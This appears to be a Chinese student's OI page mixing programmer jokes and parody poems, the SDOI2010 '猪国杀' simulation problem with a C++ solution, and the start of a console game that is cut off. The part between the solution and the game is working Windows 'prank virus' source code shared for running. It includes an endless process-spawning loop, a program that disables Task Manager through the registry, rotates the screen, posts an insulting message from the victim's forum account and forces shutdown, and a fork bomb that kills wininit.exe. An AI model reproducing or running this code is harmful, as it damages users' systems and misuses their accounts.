栈和队列邻接表,Hash还有字符串
二分排序加倍增,为了求log(n)
爱你来自于蛮荒,一生不借谁的光
你将写你的代码,在 IOI之上
去吗,去啊,以爆 0的愿望
战吗,战啊,以A K 的梦想
致那F Z O I 奋斗的朋友
谁说只有A K 了才算英雄
25.《再努力一点点》
“放弃”二字15笔,
“坚持”二字16笔,
有时候可能就差那么一点点
但是“猝死”十七笔,不要努力过头
26.《斐波那契汤》
我们学校食堂的汤被称为斐波那契汤。 因为今天的汤是由昨天的汤与前天的混合而成的。
27.《买包子》
老婆给当程序员的老公打电话:“下班顺路买一斤包子带回来,如果看到卖西瓜的,就买一个。”当晚,程序员老公手捧一个包子进了家门……老婆怒道:“你怎么就买了一个包子?!”老公答曰:“因为看到了卖西瓜的。”
28.《输出代码》
开学后的某一天,老湿走进课堂对学生们说,今天,我们开始我们的第一个c++程序,叫hello,world......讲到高潮,某同学说,c++真tm简单吧。老湿巨汗。下课后,老湿找到那个同学,说,你今天的作业时在屏幕上显示出10000个hello,world。据说,那个晚上那同学都在ctrl c + ctrl v……(我:你tm不会用while(1)马)
29.《采访时间》
记者问一位大爷说:老大爷,您保持年轻的秘诀是什么? 大爷说:白天上班,夜晚加班,节假日值班,一天五包烟,天天吃泡面。 记者问:老大爷,您是干什么工作的? 大爷说:我是程序员! 记者:啊??大爷您今年高寿? 大爷:老子今年35!
30.《猝死》
如果一个足球界的人“猝死”了,会被怀疑和赌球有关; 如果一个官员“猝死”了,会被怀疑和贪腐有关; 如果一个农民”猝死”了,会被怀疑和拆迁有关; 而如果一个程序员猝死了,那他真的猝死了。
31.《骂人》
今天在公司听到一句惨绝人寰骂人的话 “你TM就是一个没有对象的野指针!”
32.《算法》
算法是什么? 算法就是当程序员不想解释他做了什么的时候最常用到的一个词。
33.《炸学校》
班长说:走,我们去炸学校
副班长说:这个主意不错
化学课代表负责提取氢气
物理课代表负责拼装氢弹
数学课代表负责计算爆破面积
地理课代表负责策划爆破地点
信息课代表负责编写氢弹程序
历史课代表负责记录光辉场面
美术课代表负责描画壮观景致
生物课代表负责事后生态环境
政治课代表负责使用法律打官司
语文课代表负责乱写文章推卸责任
英语课代表到外国购买进口材料
34.《证明》
为了证明蜘蛛的听觉在脚上,专家做了一个实验。 先是把一直蜘蛛放在实验台上,然后冲蜘蛛大吼了一声,蜘蛛吓跑了! 之后把这只蜘蛛又抓了回来,然后把蜘蛛的脚全部割掉,再冲蜘蛛大吼了一声,蜘蛛果然不动了! 于是,专家发表论文,证明了蜘蛛的听觉在脚上。
为了证明这位专家脑子里全是屎,我们做了一个实验。 先是把这位专家放在马桶上,专家会拉屎。 之后吧这位专家脑子切了,再放在马桶上,专家果然不拉屎了。 于是,我们发表论文,证明这位专家脑子里全是屎。
35.《OI选手打篮球》
OI选手转篮球赛没前途的。 你看看一个个整天就知道暴力。 打篮球还不都被红牌判罚。
36.《哲学》
OIer的本质是fAKe。 我是真的OIer. 请问我到底是不是fAKer
37.《化学公式》
取少量学生放入试管,加入过量作业,生成学霸溶液和不溶于水的作业化学渣沉淀。 过滤,在作业化学渣中加入浓论文的四氯化碳溶液和氢气,生成学渣化氢沉淀和一氢合论文作业溶液。 过滤,在得到的学渣化氢中加入过量浓试卷的苯酚溶液,学渣迅速溶解且产生气泡,学霸则无明显现象。
38.《作弊歌》
考试不作弊,放你他妈屁。
考试不翻书,简直是头猪。
作弊不要慌,逮到就要装。
生是中国人,死是中国魂。
要我学洋文,死都不可能。
抢饭不积极,智商有问题。
上课不放屁,肠道有问题。
英语不及格,说明我爱国。
语文不及格,恋爱没资格。
物理不及格,电死不负责。
化学不及格,硫酸也喝得。
政治不及格,老师没道德。
信息不及格,网吧要打折。
数学不及格,突出我性格。
历史不及格,社会要改革。
全科不及格,老妈动真格。
39.《山前留名》
你是否还记得,昔日的辉煌? 想当年,你仅靠一壶水,竟奇迹般地穿越了整个沙漠。 是什么,支持着你? 是它,--泰山。 你知道,只有登上泰山,五岳之尊,你才能蜕变,成为一个真正的勇士。 便是这黑暗中的一丝希望,便能成为你无穷的动力之源。斩杀怪蜥,击退盗贼,只有你知道,这些力量来自何方。 最后的最后,你来到了这里。 你站在山下,仰望这座巍峨高耸的山脉,从容地走上前去,写下四个大字:山前留名
40.《每天都在SB》
大人们忙着去SB(上班); 我呢,就来上网看看又有什么新消息在SB(散播); 晚上,点菜的时候我说SB(随便); 吃饱了到大街上SB(散步); 回来手里就抓着SB(鼠标); 有心情还去博客里写写SB(随笔); 人,整天都在SB! 有幸碰到两美国美妞聊天,以为自己英文过关,但只听清一句话就是SB(somebody = sb.); 人活着可SB(失败)啊........ 那年我SB(十八),到部队当SB(士兵)。一开始,我当的是SB(哨兵)。 苦差事啊,看见SB(上边)就要敬礼,一站几个钟头还不让看SB(手表),屁大的事情都要及时SB(上报),练站姿的时候还要挂个小SB(沙包),一天下来,连SB(散步)的力气也没有了。 我就SB(随便)编了个理由说我SB(生病)想转去当SB(水兵),结果被分到一个SB(舢板)上,靠,就我那个SB(身板),把我晕得呀,连上个月会餐吃的SB(扇贝)、SB(烧饼)都吐出来了,额滴神呀,我SB(上辈)子做了什么孽啊。 领导打算把我改去当SB(伞兵),我说我不去,这要是着陆不小心,SB(势必)就变成SB(伤兵)了,要是SB(手背)或者SB(上臂)受伤裹上SB(纱布),最多留个SB(伤疤),要是腿摔断,可就变成SB(孙膑)了,如果遇到SB(山包)SB(闪避)不及,那可真的SB(折本)了。 于是,我干脆SB(收兵)不干了。当兵前后SB(三百)天,除了累得脸SB(刷白),什么也没有学到。去SB(上班)吧?我念书的时候也不认真,从来不带SB(书包)、不看SB(书本),现在连SB(鼠标)都不会用。 只好去给人家看SB(水泵),我连SB(烧杯)都没有摸过,我哪懂?那个SB(设备),没有说明、没有SB(商标)也没有其它SB(识别)标记,噪音的SB(声波)在屋子里SB(散播),像SB(山崩)一样。突然,一个SB(事变)发生了,我SB(身边)的一块SB(石板)突然倒下了。
41.《歌唱家》
一天地理老师问:同学们,河水向哪里流呀? 一学生猛站起来唱到:大河向东流啊。
老师没理会他,接著说:天上有多少颗星星啊? 那位同学又唱到:天上的星星参北斗啊。
老师气急:你给我滚出去! 学生:说走咱就走啊。
老师无奈说:你有病吧? 学生:你有我有全都有啊!
老师:你再说一句试试… 学生:路见不平一声吼啊!
老师:你信不信我揍你? 学生:该出手时就出手…
老师怒:我让你退学! 学生:风风火火闯九州!
42.《早上的油条》
一名逃学的学生被抓了回来。 老师问:为什么要逃学? 学生回答:因为伙食太差了。 老师又问:那你是用什么工具撬开学校的铁门的? 学生答:早上的油条。
43.《作业》
有的人以为作业写完了, 但其实还没写完; 有的人以为假期没结束, 但其实已经结束了。
有的人 把作业压在学生头上: “呵,我多牛!” 有的人 俯下身子撕掉所有作业。
有的人 把作业刻入黑板,想“不朽“; 有的人 一把火过去,学生的作业被烧。
有的人 他活着学生就会累死; 有的人 他活着是为了帮学生抄作业。
把作业压在学生头上的 学生把他摔垮; 帮学生撕作业的 学生永远记住他!
把作业刻入黑板的 作业比尸首烂得更早; 只要火把烧到的地方 到处是作业的渣渣。
他活着学生就会累死 他的下场可以看到; 他活着为了帮学生抄作业 学生把他抬举得很高,很高……
44.《天若有情天亦老》
天若有情天亦老,我为暴力续一秒。
比赛时节家家雨,OI赛场处处 W A。
浔阳 D P无音乐,终岁不闻 A C声。
莫愁前路无 RE ,天下谁人不 W A。
天生我材没有用,千方百计还 R E。
A C一点且为乐,会须一刷三百WA。
山重水复疑 R E,柳暗花明又 W A。
不开long long见祖宗,多年OI一场空。
45.《绑匪》
A被绑匪劫持到了山洞里,绑匪说:
“你tm要是能给我在3秒钟之内算出2^47-1等于多少,我就放了你。” 话音未落,A就答道: “0x7fffffffffffll。” 绑匪给A松了绑,流泪说道: “唉,我以前也是程序员,做这行的,不容易啊……”
46.《出路》
刷题是一种出路
枚举是一种思想
打表是一种勇气
搜索是一种信仰
剪枝是一种精神
骗分是一种日常
爆零是一种宿命
W A 是一种绝望
TLE 是一种痛苦
R E 是一种放弃
UKE 是一种无奈
A C 是一种原谅
A K 是一种希望
弃赛是一种颓废
吊打是一种必然
进队是一种奢望
NOI是一种梦想
47.《考试经》
三短一长选一长
三长一短选一短
参差不齐就选C
考的不会就选B
同长选A 同短选B
以抄为主 以蒙为辅
蒙抄结合 一定高分
—————————————————————————————————————————— ——————————
[SDOI2010] 猪国杀
题目描述
游戏背景
《猪国杀》是一种多猪牌类回合制游戏,一共有 种角色:主猪,忠猪,反猪。每局游戏主猪有且只有 只,忠猪和反猪可以有多只,每只猪扮演 种角色。
游戏目的
主猪 / :自己存活的情况下消灭所有的反猪。 忠猪 / :不惜一切保护主猪,胜利条件与主猪相同。 反猪 / :杀死主猪。
游戏过程
游戏开始时,每个玩家手里都会有 张牌,且体力上限和初始体力都是 。
开始游戏时,从主猪开始,按照逆时针方向(数据中就是按照编号从 的顺序)依次行动。
每个玩家自己的回合可以分为 2 个阶段:
- 摸牌阶段:从牌堆顶部摸 张牌,依次放到手牌的最右边;
- 出牌阶段:你可以使用任意张牌,每次使用牌的时候都使用最靠左的能够使用的牌。当然,要满足如下规则:
- 如果没有猪哥连弩,每个出牌阶段只能使用 次「杀」来攻击;
- 任何牌被使用后被弃置(武器是装备上);被弃置的牌以后都不能再用,即与游戏无关。
各种牌介绍
每张手牌用 个字母表示,字母代表牌的种类。
基本牌
- 『桃 / 』在自己的回合内,如果自己的体力值不等于体力上限,那么使用 个桃可以为自己补充 点体力,否则不能使用桃;桃只能对自己使用;在自己的回合外,如果自己的血变为 或者更低,那么也可以使用。
- 『杀 / 』在自己的回合内,对攻击范围内除自己以外的 名角色使用。如果没有被『闪』抵消,则造成 点伤害。无论有无武器,杀的攻击范围都是 。
- 『闪 / 』当你受到杀的攻击时,可以弃置 张闪来抵消杀的效果。
锦囊牌
- 『决斗 / 』出牌阶段,对除自己以外任意 名角色使用,由目标角色先开始,自己和目标角色轮流弃置 张杀,首先没有杀可弃的一方受到 点伤害,另一方视为此伤害的来源。
- 『南猪入侵 / 』出牌阶段,对除你以外所有角色使用,按逆时针顺序从使用者下家开始依次结算,除非弃置 张杀,否则受到 点伤害。
- 『万箭齐发 / 』和南猪入侵类似,不过要弃置的不是杀而是闪。
- 『无懈可击 / 』在目标锦囊生效前抵消其效果。每次有 张锦囊即将生效时,从使用这张锦囊的猪开始,按照逆时针顺序,依次得到使用无懈可击的机会;效果:用于决斗时,决斗无效并弃置;用于南猪入侵或万箭齐发时,当结算到某个角色时才能使用,当前角色不需弃置牌并且不会受到伤害(仅对 个角色产生效果);用于无懈可击时,成为目标的无懈可击被无效。
装备牌
- 『猪哥连弩 / 』武器,攻击范围 ,出牌阶段你可以使用任意张杀; 同一时刻最多只能装 把武器;如果先前已经有了 把武器,那么之后再装武器的话,会弃置以前的武器来装现在的武器。
特殊事件及概念解释
- 伤害来源:杀、南猪入侵、万箭齐发的伤害来源均是使用该牌的猪,决斗的伤害来源如上;
- 距离:两只猪的距离定义为沿着逆时针方向间隔的猪数 。即初始时 和 的距离为 ,但是 和 的距离就是 。注意一个角色的死亡会导致一些猪距离的改变;
- 玩家死亡:如果该玩家的体力降到 或者更低,并且自己手中没有足够的桃使得自己的体力值回到 ,那么就死亡了,死亡后所有的牌(装备区,手牌区)被弃置;
- 奖励与惩罚:反猪死亡时,最后一个伤害来源处(即使是反猪)立即摸 张牌。忠猪死亡时,如果最后一个伤害来源是主猪,那么主猪所有装备牌、手牌被弃置。
注意:一旦达成胜利条件,游戏立刻结束,因此即使会摸 张牌或者还有牌可以用也不用执行了。
现在,我们已经知道每只猪的角色、手牌,还有牌堆初始情况,并且假设每个角色会按照如下的行为准则进行游戏,你需要做的就是告诉小猪 iPig 最后的结果。
几种行为
- 献殷勤:使用无懈可击挡下南猪入侵、万箭齐发、决斗;使用无懈可击抵消表敌意;
- 表敌意:对某个角色使用杀、决斗;使用无懈可击抵消献殷勤;
- 跳忠:即通过行动表示自己是忠猪。跳忠行动就是对主猪或对某只已经跳忠的猪献殷勤,或者对某只已经跳反的猪表敌意;
- 跳反:即通过行动表示自己是反猪。跳反行动就是对主猪或对某只已经跳忠的猪表敌意,或者对某只已经跳反的猪献殷勤。
注意:忠猪不会跳反,反猪也不会跳忠;不管是忠猪还是反猪,能够跳必然跳。
行动准则
共性
- 每个角色如果手里有桃且生命值未满,那么必然吃掉;
- 有南猪入侵、万箭齐发、必然使用;有装备必然装上;
- 受到杀时,有闪必然弃置;
- 响应南猪入侵或者万箭齐发时候,有杀 / 闪必然弃置;
- 不会对未表明身份的猪献殷勤(包括自己)。
特性
- 主猪:
- 主猪会认为「没有跳身份,且用南猪入侵 / 万箭齐发对自己造成伤害的猪」是类反猪(没伤害到不算,注意类反猪并没有表明身份),如果之后跳了,那么主猪会重新认识这只猪;
- 对于每种表敌意的方式,对逆时针方向能够执行到的第一只类反猪或者已跳反猪表;如果没有,那么就不表敌意;
- 决斗时会不遗余力弃置杀;
- 如果能对已经跳忠的猪或自己献殷勤,那么一定献;如果能够对已经跳反的猪表敌意,那么一定表。
- 忠猪:
- 对于每种表敌意的方式,对「逆时针方向能够执行到的第一只已经跳反的猪」表,如果没有,那么就不表敌意;
- 决斗时,如果对方是主猪,那么不会弃置杀,否则,会不遗余力弃置杀;
- 如果有机会对主猪或者已经跳忠的猪献殷勤,那么一定献。
- 反猪:
- 对于每种表敌意的方式,如果有机会则对主猪表,否则,对「逆时针方向能够执行到的第一只已经跳忠的猪」表,如果没有,那么就不表敌意;
- 决斗时会不遗余力弃置杀;
- 如果有机会对已经跳反的猪献殷勤,那么一定献。
限于 iPig 只会用 P++ 语言写 A + B,他请你用 Pigcal (Pascal)、P (C) 或 P++ (C++) 语言来帮他预测最后的结果。
输入格式
输入文件第一行包含两个正整数 和 ,分别代表玩家数和牌堆中牌的数量。数据保证牌的数量够用。
接下来 行,每行 个字符串,依次表示对第 只猪的角色和初始 张手牌描述。编号为 的肯定是主猪。
再接下来一行,一共 个字符串,按照从牌堆顶部到牌堆底部的顺序描述每张牌。
注意:所有的相邻的两个字符串都严格用 个空格隔开,行尾没有多余空格。
输出格式
输出数据第一行包含一个字符串代表游戏结果。如果是主猪胜利,那么输出 ,否则输出 。数据保证游戏总会结束。
接下来 行,第 行是对第 只猪的手牌描述(注意只需要输出手牌),按照手牌从左往右的顺序输出,相邻两张牌用 个空格隔开,行末尾没有多余空格。如果这只猪已阵亡,那么只要输出 即可。
注意:如果要输出手牌而没有手牌的话,那么只需输出 个空行。
由于数据问题,若牌堆已空,按照每次抽牌抽到的都是最后一张。
样例 #1
样例输入 #1
3 10 MP D D F F ZP N N N D FP J J J J F F D D J J F F K D
样例输出 #1
FP DEAD DEAD J J J J J J D
提示
样例解释
第一回合:
- 主猪没有目标可以表敌意;
- 接下来忠猪使用了 张南猪入侵,主猪掉了 点体力,并认为该角色为类反猪, 号角色尽管手里有无懈可击,但是因为自己未表明身份,所以同样不能对自己用,乖乖掉 点体力;
下一回合:
- 反猪无牌可出;
- 接下来主猪对着类反猪爆发,使用 张决斗,忠猪死亡,结果主猪弃掉所有牌;
- 下来反猪摸到 张杀直接杀死主猪获胜。
子任务
一共 组测试数据,每个点 分。
的数据没有锦囊牌,另外 的数据没有无懈可击。
#include<bits/stdc++.h> using namespace std; int pigs_count,pile_count; struct each_pig { int bl; int id; int gr; bool bo; string ca; }p[15]; int ne_p[15]; int pre_p[15]; bool dead_MP=0; int alive_FP=0; int now=1; queue <string> pile; void read(); void get_ca(int); void attack(int,int); void dying(int,int); void game_end(); void nanman(int); void wanjian(int); bool wuxie(int); void duel(int,int); bool judge_attack(int,int); bool judge_duel(int,int); int find_duel(int); bool use_ca(int,string); int main() { read(); while(1) { bool attack_use=0; get_ca(now); get_ca(now); while(1) { bool ca_use=0; int i=0; for(i;p[now].ca[i];i++) { string now_ca; now_ca+=p[now].ca[i]; if(now_ca=="P" && p[now].bl<4) {p[now].ca.erase(i,1); ca_use=1; p[now].bl++;} if(now_ca=="Z") {p[now].ca.erase(i,1); ca_use=1; p[now].bo=1;} if(now_ca=="N") {p[now].ca.erase(i,1); ca_use=1; nanman(now);} if(now_ca=="W") {p[now].ca.erase(i,1); ca_use=1; wanjian(now);} if(now_ca=="F") { int ta=find_duel(now); if(ta==-1) continue; p[now].ca.erase(i,1); ca_use=1; if(judge_duel(now,ta)) duel(now,ta); } if(now_ca=="K" && judge_attack(now,ne_p[now])) if(!attack_use || p[now].bo) { p[now].ca.erase(i,1); ca_use=1;attack_use=1; attack(now,ne_p[now]); } if(ca_use) break; } if(!ca_use) break; if(p[now].bl<=0) break; i=0; } now=ne_p[now]; } } void read() { cin>>pigs_count>>pile_count; for(int i=1;i<=pigs_count;i++) { if(i==1) pre_p[i]=pigs_count; else pre_p[i]=i-1; if(i==pigs_count) ne_p[i]=1; else ne_p[i]=i+1; } for(int i=1;i<=pigs_count;i++) { string shenfen; cin>>shenfen; p[i].bl=4; if(shenfen=="MP") p[i].id=0,p[i].gr=1; if(shenfen=="ZP") p[i].id=1; if(shenfen=="FP") p[i].id=2,alive_FP++; for(int j=1;j<=4;j++) { string cin_ca; cin>>cin_ca; p[i].ca+=cin_ca; } } for(int i=1;i<=pile_count;i++) { string cin_ca; cin>>cin_ca; pile.push(cin_ca); } } void get_ca(int so) { string cin_ca; cin_ca=pile.front(); if(pile_count>1) { pile_count--; pile.pop(); } p[so].ca+=cin_ca; return ; } void attack(int so,int ta) { if(p[ta].gr==2) p[so].gr=1; if(p[ta].gr==1) p[so].gr=2; if(!use_ca(ta,"D")) p[ta].bl--; if(p[ta].bl<=0) dying(so,ta); } void dying(int so,int ta) { while(p[ta].bl<=0) { if(use_ca(ta,"P")) p[ta].bl++; else break; } if(p[ta].bl<=0) { if(p[ta].id==2) { alive_FP--; game_end(); get_ca(so); get_ca(so); get_ca(so); } if(p[ta].id==1 && p[so].id==0) {p[so].ca.clear(),p[so].bo=0;} if(p[ta].id==0) { dead_MP=1; game_end(); } ne_p[pre_p[ta]]=ne_p[ta]; pre_p[ne_p[ta]]=pre_p[ta]; } } void game_end() { if(dead_MP || !alive_FP) { if(dead_MP) cout<<"FP"<<endl; else cout<<"MP"<<endl; for(int i=1;i<=pigs_count;i++) { if(p[i].bl<=0) cout<<"DEAD"<<endl; else { for(int j=0;p[i].ca[j];j++) cout<<p[i].ca[j]<<" "; cout<<endl; } } exit(0); } return ; } void nanman(int so) { for(int i=ne_p[so];i!=so;i=ne_p[i]) { bool wuxie_use=0; if(p[i].gr && p[i].gr!=3) { int vi[15]={0}; for(int j=so;j;j=ne_p[j]) if(vi[j]++) break; else if(p[j].id==p[i].gr || p[j].gr==p[i].gr) if(use_ca(j,"J")) { p[j].gr=p[i].gr; if(wuxie(j)) { wuxie_use=1; break; } } } if(wuxie_use) continue; if(!use_ca(i,"K")) { p[i].bl--; if(p[i].id==0 && !p[so].gr) p[so].gr=3; } if(p[i].bl<=0) dying(so,i); } } void wanjian(int so) { for(int i=ne_p[so];i!=so;i=ne_p[i]) { bool wuxie_use=0; if(p[i].gr && p[i].gr!=3) { int vi[15]={0}; for(int j=so;j;j=ne_p[j]) if(vi[j]++) break; else if(p[j].id==p[i].gr || p[j].gr==p[i].gr) if(use_ca(j,"J")) { p[j].gr=p[i].gr; if(wuxie(j)) { wuxie_use=1; break; } } } if(wuxie_use) continue; if(!use_ca(i,"D")) { p[i].bl--; if(p[i].id==0 && !p[so].gr) p[so].gr=3; } if(p[i].bl<=0) dying(so,i); } } bool wuxie(int so) { bool wuxie_use=0; int vi[15]={0}; for(int i=so;i;i=ne_p[i]) if(vi[i]++) break; else if(judge_attack(i,so)) if(use_ca(i,"J")) { p[i].gr=p[so].gr==1?2:1; if(wuxie(i)) { wuxie_use=1; break; } } if(wuxie_use) return 0; return 1; } void duel(int so,int ta) { if(p[ta].id==1 && p[so].id==0) { p[ta].bl--; if(p[ta].bl<=0) dying(so,ta); return ; } if(use_ca(ta,"K")) duel(ta,so); else { p[ta].bl--; if(p[ta].bl<=0) dying(so,ta); return ; } } bool judge_attack(int so,int ta) { if(p[so].id==0 && p[so].gr!=p[ta].gr && p[ta].gr) return 1; if(p[so].id==1 && p[ta].gr==2) return 1; if(p[so].id==2 && p[so].id!=p[ta].gr && p[ta].gr && p[ta].gr!=3) return 1; return 0; } int find_duel(int so) { int ta=-1; if(p[so].id==2) { ta=1; p[so].gr=2; } else for(int i=ne_p[so];i!=so;i=ne_p[i]) if(p[i].gr==2 || (p[i].gr==3 && p[so].id==0)) { p[so].gr=1; ta=i; break; } return ta; } bool judge_duel(int so,int ta) { bool wuxie_use=0; if(p[ta].gr!=0 && p[ta].gr!=3) for(int i=ne_p[so];i!=so;i=ne_p[i]) if(p[i].id==p[ta].gr || p[ta].gr==p[i].gr) if(use_ca(i,"J")) { p[i].gr=p[ta].gr; if(wuxie(i)) { wuxie_use=1; break; } } if(wuxie_use) return 0; return 1; } bool use_ca(int so,string card) { int po=-1; po=p[so].ca.find(card); if(po==-1) return 0; p[so].ca.erase(po,1); return 1; }
—————————————————————————————————————————— ——————————
#include<bits/stdc++.h> #include<Windows.h> using namespace std; int main() { while(1) { system("start"); } return 0; }
#include <bits/stdc++.h> #include <windows.h> #define KEY_DOWN(VK_NONAME) ((GetAsyncKeyState(VK_NONAME) & 0x80000) ? 1:0) using namespace std; int a; string user; POINT p; BOOL StringToClipBoard(char* srcString) { BOOL bResult = FALSE; DWORD dwLength = strlen(srcString); HANDLE hGlobalMemory = GlobalAlloc(GHND, dwLength + 1); // 分配内存 LPBYTE lpGlobalMemory = (LPBYTE)GlobalLock(hGlobalMemory); // 锁定内存 if ( NULL != lpGlobalMemory ) { strcpy((char*)lpGlobalMemory, srcString); GlobalUnlock(hGlobalMemory); // 锁定内存块解锁 OpenClipboard(NULL); // 打开剪贴板 EmptyClipboard(); // 清空剪贴板 SetClipboardData(CF_TEXT, hGlobalMemory); // 将内存中的数据放置到剪贴 CloseClipboard(); bResult = TRUE; } return bResult; } void jin_r() { HKEY hkey; DWORD value = 1; RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &hkey); RegSetValueEx(hkey, "DisableTaskMgr", NULL, REG_DWORD, (LPBYTE)&value, sizeof(DWORD)); RegCloseKey(hkey); } void fanzhuan() { DEVMODE dm; // initialize the DEVMODE structure ZeroMemory(&dm, sizeof(dm)); dm.dmSize = sizeof(dm); if (0 != EnumDisplaySettings(NULL, ENUM_CURRENT_SETTINGS, &dm)) { // swap height and width DWORD dwTemp = dm.dmPelsHeight; dm.dmPelsHeight = dm.dmPelsWidth; dm.dmPelsWidth = dwTemp; // determine new orientaion switch (dm.dmDisplayOrientation) { case DMDO_DEFAULT: dm.dmDisplayOrientation = DMDO_270; break; case DMDO_270: dm.dmDisplayOrientation = DMDO_180; break; case DMDO_180: dm.dmDisplayOrientation = DMDO_90; break; case DMDO_90: dm.dmDisplayOrientation = DMDO_DEFAULT; break; default: // unknown orientation value // add exception handling here break; } long lRet = ChangeDisplaySettings(&dm, 0); if (DISP_CHANGE_SUCCESSFUL != lRet) { // add exception handling here } } } void down(int vk) { keybd_event(vk,0,0,0); } void up(int vk) { keybd_event(vk,0,KEYEVENTF_KEYUP,0); } void press(int vk) { keybd_event(vk,0,0,0); keybd_event(vk,0,KEYEVENTF_KEYUP,0); } void danji() { mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0); Sleep(10); mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0); } int main() { HWND hwnd = GetForegroundWindow(); cout << "为了更好体验,你需要在https://oj.hetao101.com/注册一个自己的账户\n"; MessageBox(NULL,"准备好后点确定就可以开始啦~","聊天",MB_OK | MB_ICONINFORMATION); a = MessageBox(NULL,"你确定要运行此程序吗?","系统消息",MB_OKCANCEL | MB_ICONINFORMATION); if (a == 1) { MessageBox(NULL,"按确定三秒后开始运行程序......","系统消息",MB_OK|MB_ICONINFORMATION); Sleep(2000); } else { MessageBox(NULL,"不行!你必须运行这个程序!","系统消息",MB_OK | MB_ICONINFORMATION| MB_SYSTEMMODAL); } SetWindowPos(hwnd,HWND_TOPMOST, 200, 200, 50, 50, SWP_NOMOVE|SWP_NOSIZE); MoveWindow(hwnd,200,200,500,200,TRUE); cout << "嘿,我是xxx, 谢谢你打开我哦,我等你很久拉~\n"; SetCursorPos(5000,5000); Sleep(1000); cout << "哈,我想你拉,xxxxx\n"; SetCursorPos(5000,5000); Sleep(1000); system("start https://oj.hetao101.com/discuss/node/%E5%88%86%E4%BA%AB/create"); cout << "可以让我看看你的账户吗?"; SetCursorPos(5000,5000); Sleep(1000); StringToClipBoard("所有人看我!我是大傻逼!"); SetCursorPos(300,280); danji(); SetCursorPos(300,280); danji(); down(VK_CONTROL); keybd_event(86,0,0,0); keybd_event(86,0,KEYEVENTF_KEYUP,0); Sleep(10); press(VK_RETURN); up(VK_CONTROL); Sleep(1000); SetWindowPos(hwnd,HWND_TOPMOST, 200, 200, 500, 200, SWP_NOMOVE|SWP_NOSIZE); system("cls"); cout << "哈哈哈,等着电脑寄寄吧!\n"; jin_r(); HWND hwnd2 = GetDesktopWindow(); HDC hdc = GetWindowDC(hwnd); POINT cursor; SetCursorPos(5000,5000); Sleep(1500); ShowWindow(hwnd,SW_MINIMIZE); for (int i = 1;i <= 6;i++) system("start cmd"); for (int i = 1;i <= 2;i++) { SetCursorPos(rand()%1000,rand()%1000); system("start notepad"); SetCursorPos(rand()%1000,rand()%1000); system("start calc"); SetCursorPos(rand()%1000,rand()%1000); system("start winver"); SetCursorPos(rand()%1000,rand()%1000); system("start Nslookup"); SetCursorPos(rand()%1000,rand()%1000); system("start cleanmgr"); SetCursorPos(rand()%1000,rand()%1000); system("start charmap"); SetCursorPos(rand()%1000,rand()%1000); system("start dxdiag"); fanzhuan(); } system("start cmd"); double start = clock(); double end = clock() - start; while (end < 4000) { end = clock() - start; SetCursorPos(rand()%1000,rand()%1000); GetCursorPos(&cursor); DrawIcon(hdc, cursor.x * 1, cursor.y * 1, LoadIcon(NULL, IDI_ERROR)); DrawIcon(hdc, cursor.x * 1.5, cursor.y * 1.5, LoadIcon(NULL, IDI_QUESTION)); DrawIcon(hdc, cursor.x * 1.5, cursor.y * 1.5, LoadIcon(NULL, IDI_WARNING)); Sleep(0.5); SetWindowPos(hwnd,HWND_TOPMOST, 500, 500, 50, 50, SWP_NOMOVE|SWP_NOSIZE); MoveWindow(hwnd,650,350,600,400,TRUE); cout << "你的电脑真好玩,xxx~"; system("cls"); } for (int i = 1;i <= 2;i++) fanzhuan(); for (int i = 1;i <= 5;i++) system("shutdown -s -t 60"); Sleep(500); while (1) { SetCursorPos(rand()%1000,rand()%1000); GetCursorPos(&cursor); DrawIcon(hdc, cursor.x * 1, cursor.y * 1, LoadIcon(NULL, IDI_ERROR)); DrawIcon(hdc, cursor.x * 1.5, cursor.y * 1.5, LoadIcon(NULL, IDI_QUESTION)); DrawIcon(hdc, cursor.x * 1.5, cursor.y * 1.5, LoadIcon(NULL, IDI_WARNING)); Sleep(0.5); malloc(1000); SetWindowPos(hwnd,HWND_TOPMOST, 500, 500, 50, 50, SWP_NOMOVE|SWP_NOSIZE); MoveWindow(hwnd,650,350,600,400,TRUE); cout << "你的电脑真好玩,xxx~"; fanzhuan(); system("cls"); } return 0; }
#include<iostream> #include<windows.h> using namespace std; int main(){ int a=MessageBox(0,"This program is a virus!\nDo you truely want to run it?","warning",MB_ICONWARNING|MB_OKCANCEL); if(a==2)return 0; a=MessageBox(0,"This program will distory you computer thoroughly.\nDo you sure want to drive your computer to die?","the last warning",MB_ICONWARNING|MB_OKCANCEL); if(a==2)return 0; system("title There is a Keduoli virus in your computer,your computer is die."); cout<<"There is a Keduoli virus in your computer.\n"; cout<<"Your computer is die.\n"; for(int i=0;i<20;i++){ system("color 40"); system("color 04"); system("color a0"); system("color 0a"); system("color 10"); system("color 01"); } for(int i=0;i<10;i++){ system("start title already die!"); system("start title X_X"); } for(int i=0;i<10;i++){ system("start explorer.exe"); system("start notepad.exe"); } for(int i=0;i<10;i++){ system("start https://www.luogu.com.cn"); system("start https://www.luogu.com.cn/paste/uhk98d0d"); } a=MessageBox(0,"Do$*^&%# you tru#(*&^#)ely(*$) want to des*#%^$tory your co(%&)mputer?","fgfG!@#F!Dg2fd4",MB_ICONQUESTION|MB_OKCANCEL); if(a==2){ system("taskkill /F /IM cmd.exe /IM explorer.exe /IM notepad.exe"); system("start explorer.exe"); return 0; } system("%0|%0"); system("start taskkill /F /IM wininit.exe";) return 0; }
以下是c++游戏
—————————————————————————————————————————— ——————————
#include<bits/stdc++.h> #include<windows.h> #include<stdio.h> #include<conio.h> #include<time.h> #define Nor if(B[b].x<5) B[b].x=5; #define Out1 Bx1-Bvx1<=6||Bx1-Bvx1>=28||By1-Bvy1<=7||By1-Bvy1>=27 #define Out2 Bx2-Bvx2<=6||Bx2-Bvx2>=28||By2-Bvy2<=7||By2-Bvy2>=27 #define Chang1 {Bwhat1=0;Bvx1=Bvy1=0;memset(Bgo1,0,sizeof(Bgo1));} #define Chang2 {Bwhat2=0;Bvx2=Bvy2=0;memset(Bgo2,0,sizeof(Bgo2));} #define Chang3 {Bwhat3=0;Bvx3=Bvy3=0;memset(Bgo3,0,sizeof(Bgo3));} using namespace std; int ti(float a) { return ((int)(a*10+5))/10; } void Setpos(float x,float y) { COORD pos; pos.X=ti(y*4)/2; pos.Y=ti(x); SetConsoleCursorPosition(GetStdHandle(STD_OUTPUT_HANDLE),pos); } void Color(int a) { if(a==0) 